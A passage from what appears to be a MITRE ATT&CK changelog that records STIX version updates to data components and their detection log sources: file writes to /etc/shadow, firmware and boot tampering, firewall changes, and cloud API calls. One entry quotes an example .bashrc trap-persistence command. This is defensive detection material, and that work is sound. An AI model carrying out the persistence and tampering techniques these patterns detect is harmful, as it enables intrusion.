/Applications'}, {'name': 'esxi:shell', 'channel': 'admin command usage'}, {'name': 'networkdevice:syslog', 'channel': 'startup-config'}, {'name': 'macos:unifiedlog', 'channel': 'File creation or overwrite in common web-hosting folders'}, {'name': 'esxi:vmkernel', 'channel': 'Unauthorized file modifications within datastore volumes via shell access or vCLI'}, {'name': 'networkdevice:config', 'channel': "Configuration changes referencing 'crypto', 'key length', 'cipher', or downgrade of encryption settings"}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware or image updates modifying cryptographic modules'}, {'name': 'fs:plist', 'channel': '/var/root/Library/Preferences/com.apple.loginwindow.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of existing .service file'}, {'name': 'auditd:PATH', 'channel': 'write or create events on *.pth, sitecustomize.py, usercustomize.py in site-packages or dist-packages'}, {'name': 'macos:unifiedlog', 'channel': 'write of plist files in /Library/LaunchAgents or /Library/LaunchDaemons'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:System', 'channel': 'Unexpected modification to lsass.exe or cryptdll.dll'}, {'name': 'networkconfig', 'channel': 'unexpected OS image file upload or modification events'}, {'name': 'network:runtime', 'channel': 'checksum or runtime memory verification failures'}, {'name': 'macos:unifiedlog', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: Modification of /boot/grub/* or /boot/efi/*'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /System/Library/CoreServices/boot.efi'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of LaunchAgents or LaunchDaemons plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod'}, {'name': 'auditd:SYSCALL', 'channel': 'rename,chmod'}, {'name': 'fs:fsevents', 'channel': 'create/write/rename under user-writable paths'}, {'name': 'macos:osquery', 'channel': 'Changes to LSFileQuarantineEnabled field in Info.plist'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/tabs/ and cron output files'}, {'name': 'esxi:hostd', 'channel': 'modification of crontab or local.sh entries'}, {'name': 'networkdevice:config', 'channel': 'Configuration file modified or replaced on network device'}, {'name': 'macos:unifiedlog', 'channel': 'Plist modifications containing virtualization run configurations'}, {'name': 'fs:fsusage', 'channel': 'file access to /usr/lib/cron/at and job execution path'}, {'name': 'macos:unifiedlog', 'channel': 'binary modified or replaced'}, {'name': 'esxi:hostd', 'channel': 'binary or module replacement event'}, {'name': 'networkdevice:config', 'channel': 'Configuration change events referencing encryption, TLS/SSL, or IPSec settings'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware update or image modification affecting crypto modules'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating permission, ownership, or extended attribute changes on critical paths. File system modification events with kFSEventStreamEventFlagItemChangeOwner, kFSEventStreamEventFlagItemXattrMod flags'}, {'name': 'auditd:FILE', 'channel': 'Modification of Display Manager configuration files (/etc/gdm3/*, /etc/lightdm/*)'}, {'name': 'macos:unifiedlog', 'channel': 'Modification of /Library/Preferences/com.apple.loginwindow plist'}, {'name': 'auditd:SYSCALL', 'channel': 'Modification of user shell profile or trap registration via echo/redirection (e.g., echo "trap \'malicious_cmd\' INT" >> ~/.bashrc)'}, {'name': 'macos:unifiedlog', 'channel': 'File write or append to .zshrc, .bash_profile, .zprofile, etc.'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, write, create, open'}, {'name': 'fs:fsevents', 'channel': 'Extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write: File writes to application binaries or libraries at runtime'}, {'name': 'macos:osquery', 'channel': 'CALCULATE: Mismatch in file integrity of critical macOS applications'}, {'name': 'auditd:SYSCALL', 'channel': 'file write operations in /Library/WebServer/Documents'}, {'name': 'fs:launchdaemons', 'channel': 'file_modify'}, {'name': 'auditd:PATH', 'channel': 'write: File modifications to /etc/systemd/sleep.conf or related power configuration files'}, {'name': 'macos:unifiedlog', 'channel': 'write: File modification to com.apple.PowerManagement.plist or related system preference files'}, {'name': 'fs:fsusage', 'channel': 'modification of existing LaunchAgents plist'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib in monitored directories'}, {'name': 'WinEventLog:Application', 'channel': '81,3033'}, {'name': 'auditd:SYSCALL', 'channel': 'write operation on /etc/passwd or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'modification to /var/db/dslocal/nodes/Default/users/'}, {'name': 'linux:osquery', 'channel': 'New or modified kernel object files (.ko) within /lib/modules directory'}, {'name': 'macos:osquery', 'channel': 'Modifications to /var/db/SystemPolicyConfiguration/KextPolicy or kext_policy table'}, {'name': 'networkdevice:audit', 'channel': 'SNMP configuration changes, such as enabling read/write access or modifying community strings'}, {'name': 'macos:osquery', 'channel': 'write'}, {'name': 'auditd:SYSCALL', 'channel': 'mount or losetup commands creating hidden or encrypted FS'}, {'name': 'macos:unifiedlog', 'channel': 'Hidden volume attachment or modification events'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious plist edits for volume mounting behavior'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes to startup image paths, boot loader parameters, or debug flags'}, {'name': 'networkdevice:syslog', 'channel': 'Checksum/hash mismatch between device OS image and baseline known-good version'}, {'name': 'macos:unifiedlog', 'channel': 'file writes'}, {'name': 'm365:defender', 'channel': 'OfficeTelemetry or DLP'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Access Logging'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing cryptographic hardware modules or disabling hardware acceleration'}, {'name': 'FirmwareLogs:Update', 'channel': 'Unexpected firmware updates that alter encryption libraries or disable hardware crypto modules'}, {'name': 'm365:office', 'channel': 'Anomalous editing of invoice or payment document templates'}, {'name': 'fs:fsusage', 'channel': 'truncate, unlink, write'}, {'name': 'macos:unifiedlog', 'channel': 'Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db'}, {'name': 'linux:fim', 'channel': 'Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)'}, {'name': 'macos:endpointsecurity', 'channel': 'write, rename'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write to /proc/*/mem or /proc/*/maps'}, {'name': 'sysdig:file', 'channel': 'evt.type=write'}, {'name': 'macos:unifiedlog', 'channel': 'rule definitions written to emond rule plists'}, {'name': 'networkdevice:config', 'channel': 'Configuration changes referencing older image versions or unexpected boot parameters'}, {'name': 'FileIntegrity:ImageValidation', 'channel': 'Hash/checksum mismatch against baseline vendor-provided OS image versions'}, {'name': 'auditd:SYSCALL', 'channel': 'write or rename to /etc/systemd/system or /etc/init.d'}, {'name': 'fs:fsusage', 'channel': 'file write to launchd plist paths'}, {'name': 'auditd:SYSCALL', 'channel': 'modification of entrypoint scripts or init containers'}, {'name': 'fs:plist_monitoring', 'channel': '/Users/*/Library/Mail/V*/MailData/RulesActiveState.plist'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod/chown to /etc/passwd or /etc/shadow'}, {'name': 'auditd:SYSCALL', 'channel': 'open/write syscalls targeting web directory files'}, {'name': 'macos:unifiedlog', 'channel': 'Terminal/Editor processes modifying web folder'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:11.410000+00:00 | 2025-10-21 15:14:35.239000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0043', 'external_id': 'DC0043'}] | |
| x_mitre_log_sources | [{'name': 'esxi:vmkernel', 'channel': 'Disabling or modifying firewall rules'}, {'name': 'AWS:CloudTrail', 'channel': 'Removal of restrictive egress rules from a security group'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:59.931000+00:00 | 2025-10-21 15:14:40.022000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0044', 'external_id': 'DC0044'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:17:06.404000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0053', 'external_id': 'DC0053'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:17:03.149000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0051', 'external_id': 'DC0051'}] | |
| x_mitre_log_sources | [{'name': 'WinEventLog:Security', 'channel': 'Firewall Rule Modification'}, {'name': 'Firewall Audit Logs', 'channel': 'Config Change'}, {'name': 'esxi:hostd', 'channel': 'vSphere API calls modifying firewall settings'}, {'name': 'networkdevice:cli', 'channel': 'firewall disable commands or suspicious ACL modifications'}, {'name': 'AWS:CloudTrail', 'channel': 'AuthorizeSecurityGroupIngress'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'new rule allowing inbound or outbound connections for remote desktop software'}, {'name': 'networkdevice:Firewall', 'channel': 'update_rule: Access control or NAT rule modified or disabled outside maintenance window'}, {'name': 'linux:syslog', 'channel': 'iptables or nftables rule changes'}, {'name': 'Firewall Audit Logs', 'channel': 'Outbound NAT Rule Changes'}, {'name': 'AWS:CloudTrail', 'channel': 'Create egress rule allowing UDP to port 53, 123, 11211'}, {'name': 'AWS:CloudTrail', 'channel': 'Ingress rule creation or modification for security group'}, {'name': 'AWS:CloudTrail', 'channel': 'New security group created with permissive rules'}, {'name': 'NSM:Firewall', 'channel': 'Policy Change / Rule Update'}, {'name': 'NSM:Firewall', 'channel': 'rule_modification: New or modified firewall rules related to wireless interfaces'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:56.720000+00:00 | 2025-10-21 15:14:37.073000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0004', 'external_id': 'DC0004'}] | |
| x_mitre_log_sources | [{'name': 'Firmware', 'channel': 'None'}, {'name': 'networkdevice:syslog', 'channel': 'Image Upgrade / Configuration Change'}, {'name': 'networkdevice:config', 'channel': 'Boot image path or firmware configuration variable modified outside of maintenance windows'}, {'name': 'WinEventLog:Microsoft-Windows-Kernel-Boot', 'channel': 'Firmware integrity validation failed or boot configuration tampered'}, {'name': 'auditd:SYSCALL', 'channel': 'write access to /dev/mem or /sys/firmware/efi/efivars'}, {'name': 'macos:unifiedlog', 'channel': 'boot failure events or SMC validation errors'}, {'name': 'networkdevice:firmware', 'channel': 'Firmware update initiated or bootloader tampering detected'}, {'name': 'networkdevice:config', 'channel': 'Log entries indicating ROMMON image upgrade commands (boot system, upgrade rom-monitor)'}, {'name': 'networkdevice:config', 'channel': 'Boot variable modified to point to non-standard or unsigned image'}, {'name': 'firmware:integrity ', 'channel': 'Firmware integrity verification failures or mismatches against expected UEFI/firmware image baselines'}, {'name': 'auditd:SYSCALL', 'channel': 'ioctl/write: Direct firmware update or device memory manipulation syscalls'}, {'name': 'firmware:smart', 'channel': 'Unexpected firmware-level errors or abnormal S.M.A.R.T. log entries'}, {'name': 'macos:unifiedlog', 'channel': 'Firmware update events or kernel extension (kext) loads not signed by Apple'}, {'name': 'firmware:integrity', 'channel': 'Baseline mismatch or unexpected EFI module detected during integrity checks'}, {'name': 'macos:osquery', 'channel': 'Unexpected changes in EFI or NVRAM variables controlling hardware boot state'}, {'name': 'networkdevice:syslog', 'channel': 'Custom firmware or routing changes'}, {'name': 'etw:Microsoft-Windows-Kernel-Storage', 'channel': 'Raw disk I/O operations bypassing NTFS APIs'}, {'name': 'firmware:runtime', 'channel': 'Debug or memory access commands indicating attempts to alter OS instructions in memory'}, {'name': 'networkdevice:syslog', 'channel': 'Boot information log showing image loaded from TFTP server instead of local storage'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--ca1cb239-ff6d-4f64-b9d7-41c8556a8b4f |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:52.606000+00:00 | 2025-10-21 15:14:38.020000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0099', 'external_id': 'DC0099'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'ListGroups, ListAttachedRolePolicies'}, {'name': 'azure:audit', 'channel': 'az ad user get-member-groups, Get-AzRoleAssignment'}, {'name': 'gcp:audit', 'channel': 'cloudidentity.groups.list'}, {'name': 'saas:salesforce', 'channel': 'GET /services/data/vXX.X/groups'}, {'name': 'saas:github', 'channel': 'GET /orgs/:org/teams, GET /teams/:team/members'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:40.457000+00:00 | 2025-10-21 15:14:39.499000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0105', 'external_id': 'DC0105'}] | |
| x_mitre_log_sources | [{'name': 'm365:sharepoint', 'channel': 'Enumerate ACLs/role bindings'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:43.699000+00:00 | 2025-10-21 15:14:39.577000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0094', 'external_id': 'DC0094'}] | |
| x_mitre_log_sources | [{'name': 'm365:unified', 'channel': 'Add member to group'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:46.920000+00:00 | 2025-10-21 15:14:40.086000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0018', 'external_id': 'DC0018'}] | |
| x_mitre_log_sources | [{'name': 'Sensor Health', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'interface_details '}, {'name': 'Windows:perfmon', 'channel': 'Sustained CPU/memory exhaustion by service process (e.g., w3wp.exe)'}, {'name': 'macos:unifiedlog', 'channel': 'Web service process (e.g., httpd) entering crash loop or consuming excessive CPU'}, {'name': 'AWS:CloudWatch', 'channel': 'Sustained spike in CPU usage on EC2 instance with web service role'}, {'name': 'WinEventLog:System', 'channel': 'System shutdowns due to bugcheck (Event ID 1001) or watchdog timer expirations'}, {'name': 'linux:syslog', 'channel': 'Out of memory killer invoked or kernel panic entries'}, {'name': 'macos:unifiedlog', 'channel': 'Spike in CPU or memory use from non-user-initiated processes'}, {'name': 'AWS:CloudWatch', 'channel': 'StatusCheckFailed or StatusCheckFailed_System for burstable instances (t2/t3)'}, {'name': 'kubernetes:events', 'channel': 'CrashLoopBackOff, OOMKilled, container restart count exceeds threshold'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=16'}, {'name': 'Windows:perfmon', 'channel': 'High sustained CPU usage by a single process'}, {'name': 'linux:procfs', 'channel': 'Sustained high /proc/[pid]/stat usage'}, {'name': 'CloudWatch:Metrics', 'channel': 'Sustained EC2 CPU usage above normal baseline'}, {'name': 'prometheus:metrics', 'channel': 'Container CPU/Memory usage exceeding threshold'}, {'name': 'linux:syslog', 'channel': 'Service stop or disable messages for security tools not reflected in SIEM alerts'}, {'name': 'macos:unifiedlog', 'channel': 'Termination or disabling of XProtect, Gatekeeper, or third-party AV daemons'}, {'name': 'CloudWatch:InstanceMetrics', 'channel': 'NetworkOut spike beyond baseline'}, {'name': 'WinEventLog:Microsoft-Windows-TCPIP', 'channel': 'Connection queue overflow or failure to allocate TCP state object'}, {'name': 'NSM:Flow', 'channel': 'TCP: possible SYN flood or backlog limit exceeded'}, {'name': 'macos:unifiedlog', 'channel': 'network stack resource exhaustion, tcp_accept queue overflow, repeated resets'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1166, 7045'}, {'name': 'auditd:SYSCALL', 'channel': 'firmware_update, kexec_load'}, {'name': 'journald:boot', 'channel': 'Secure Boot failure, firmware version change'}, {'name': 'macos:unifiedlog', 'channel': 'EFI firmware integrity check failed'}, {'name': 'macos:syslog', 'channel': 'Hardware UUID or device list drift'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spike in outbound throughput without corresponding inbound traffic'}, {'name': 'sar:network', 'channel': 'Outbound network saturation with minimal process activity'}, {'name': 'AWS:CloudWatch', 'channel': 'Sudden spike in network output without a corresponding inbound request ratio'}, {'name': 'Windows:perfmon', 'channel': 'Sudden spikes in CPU/Memory usage linked to specific application processes'}, {'name': 'CloudMetrics:InstanceHealth', 'channel': 'Autoscaling, memory/cpu alarms, or instance unhealthiness'}, {'name': 'macos:unifiedlog', 'channel': 'System Integrity Protection (SIP) state reported as disabled'}, {'name': 'AWS:CloudWatch', 'channel': 'Unusual CPU burst or metric anomalies'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=1074'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=6006'}, {'name': 'linux:syslog', 'channel': 'system is powering down'}, {'name': 'macos:unifiedlog', 'channel': 'System shutdown or reboot requested'}, {'name': 'esxi:hostd', 'channel': 'Powering off or restarting host'}, {'name': 'networkdevice:syslog', 'channel': 'System reboot scheduled or performed'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--4523e7f3-8de2-4078-96f8-1227eb537159 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:16:18.582000+00:00 | 2025-10-21 15:14:37.544000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0015', 'external_id': 'DC0015'}] | |
| x_mitre_log_sources | [{'name': 'containerd:events', 'channel': 'Image pull from untrusted registry (name NOT IN allowlist) or new digest never seen before'}, {'name': 'docker:daemon', 'channel': 'docker build or docker commit commands followed by docker push to internal registry'}, {'name': 'kubernetes:audit', 'channel': 'create'}, {'name': 'AWS:CloudTrail', 'channel': 'RegisterImage'}, {'name': 'docker:daemon', 'channel': 'docker build or POST /build API request'}, {'name': 'kubernetes:apiserver', 'channel': 'Pod spec triggering build or custom controller activity invoking image builds'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:53.193000+00:00 | 2025-10-21 15:14:39.369000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0026', 'external_id': 'DC0026'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:59.613000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0028', 'external_id': 'DC0028'}] | |
| x_mitre_log_sources | [{'name': 'docker:events', 'channel': 'docker.events.json'}, {'name': 'esxi:vmkernel', 'channel': 'VMX startup messages without associated vCenter inventory records'}, {'name': 'kubernetes:apiserver', 'channel': 'Resource creation and update logs'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:15:56.417000+00:00 | 2025-10-21 15:14:38.423000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0036', 'external_id': 'DC0036'}] | |
| x_mitre_log_sources | [{'name': 'docker:registry', 'channel': 'push event of new image version from unrecognized user or context'}, {'name': 'AWS:CloudTrail', 'channel': 'ModifyImageAttribute'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--1ac0ca69-e07e-4b34-9061-e4588e146c52 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:49:48.777000+00:00 | 2025-10-21 15:14:40.151000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0076', 'external_id': 'DC0076'}] | |
| x_mitre_log_sources | [{'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/write: imageReference publisher NOT IN allowlist OR plan is new/unknown'}, {'name': 'gcp:audit', 'channel': 'compute.instances.insert: sourceImage not in approved projects OR has external image link'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/WRITE'}, {'name': 'gcp:audit', 'channel': 'compute.instances.insert'}, {'name': 'AWS:CloudTrail', 'channel': 'RunInstances,CreateImage'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:20.734000+00:00 | 2025-10-21 15:14:39.434000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0081', 'external_id': 'DC0081'}] | |
| x_mitre_log_sources | [{'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/DELETE'}, {'name': 'gcp:audit', 'channel': 'compute.instances.delete'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:17.500000+00:00 | 2025-10-21 15:14:37.952000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0075', 'external_id': 'DC0075'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'DescribeDBInstances'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/LIST'}, {'name': 'gcp:audit', 'channel': 'compute.instances.list OR storage.buckets.list'}, {'name': 'AWS:CloudTrail', 'channel': 'DescribeInstances, GetConsoleOutput, DescribeImages'}, {'name': 'azure:activity', 'channel': 'Microsoft.Compute/virtualMachines/read'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:14.328000+00:00 | 2025-10-21 15:14:38.969000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0086', 'external_id': 'DC0086'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'DescribeInstances'}, {'name': 'CloudTrail:EC2', 'channel': 'DescribeInstances'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:48:42.003000+00:00 | 2025-10-21 15:14:37.885000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0073', 'external_id': 'DC0073'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'RevertSnapshot'}, {'name': 'azure:activity', 'channel': 'MICROSOFT.COMPUTE/VIRTUALMACHINES/RESTORE'}, {'name': 'gcp:audit', 'channel': 'compute.instances.restore'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:13:07.954000+00:00 | 2025-10-21 15:14:40.223000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0080', 'external_id': 'DC0080'}] | |
| x_mitre_log_sources | [{'name': 'AWS:CloudTrail', 'channel': 'StartInstances'}, {'name': 'CloudTrail:RunInstances', 'channel': 'RunInstances'}, {'name': 'CloudTrail:RunInstances', 'channel': 'RunInstances: AMI not in allowlist OR AMI owner != enterprise owner/account'}, {'name': 'AWS:CloudTrail', 'channel': 'StartInstances: Instance starts from suspicious AMI or with userData present'}, {'name': 'AWS:CloudTrail', 'channel': 'RunInstances'}, {'name': 'CloudTrail:EC2', 'channel': 'RunInstances'}] |
| STIX Field | Old value | New Value |
|---|---|---|
